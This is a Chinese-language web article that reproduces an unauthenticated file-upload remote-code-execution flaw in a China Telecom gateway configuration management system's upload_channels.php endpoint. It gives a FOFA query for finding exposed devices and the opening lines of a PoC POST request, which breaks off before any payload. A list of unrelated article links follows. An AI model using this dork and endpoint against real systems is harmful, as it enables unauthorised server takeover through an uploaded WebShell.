当前位置： 首页 > article >正文

电信网关配置管理系统 upload_channels.php 文件上传致RCE漏洞复现

article 2024/11/15 21:29:23

0x01 产品简介

中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远程监控、配置、升级和故障排除等功能，从而确保网络的正常运行和高效性能。

0x02 漏洞概述

电信网关配置管理系统 /bak_manager/upload_channels.php 接口存在文件上传漏洞，未经身份验证远程攻击者可利用该漏洞代码执行，写入WebShell,进一步控制服务器权限。

0x03 复现环境

FOFA：

body="a:link{text-decoration:none;color:orange;}"

0x04 漏洞复现

PoC

POST /bak_manager/upload_channels.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTM

http://www.kler.cn/a/386711.html

相关文章：

  • JVM详解：类的加载过程
  • 1.两数之和-力扣（LeetCode）
  • ios swift开发--ios远程推送通知配置
  • 设计模式练习(一) 单例模式
  • Ceph 中Crush 算法的理解
  • Llama架构及代码详解
  • uniapp 集成 uview
  • CPP贪心算法示例
  • Java 面向对象编程（OOP）
  • Word表格自动跨页怎么办
  • Pr 视频过渡：沉浸式视频
  • MySQL必会知识精华7（通配符过滤）
  • 【MySQL场景题：如何保障传入id顺序与查询结果id顺序一致】---项目积累
  • 海康私有化视频平台EasyCVR视频分析设备平台流媒体协议RTMP、HTTP-FLV、HLS的简单对比
  • HTML5+css3（定位属性，position：absolute，relative，fixed，相对定位，绝对定位，固定定位，z-index属性）
  • 01、机器学习概述
  • 《EasyQuotation 与MongoDB在股市信息的奇妙融合》
  • javaFX controlsfx 控件之SpreadsheetView
  • EDUCODER头哥 SpringBoot初体验
  • 124. Raycaster(射线拾取模型)
  • Guarding the Chessboard（UVA 11214）
  • uniapp—android原生插件开发（3Android真机调试）
  • 网络--传输层协议--TCP
  • 【LeetCode每日一题】——802.找到最终的安全状态
  • C++学习笔记----10、模块、头文件及各种主题（三）---- 连接
  • VMWARE ESXI VMFS阵列故障 服务器数据恢复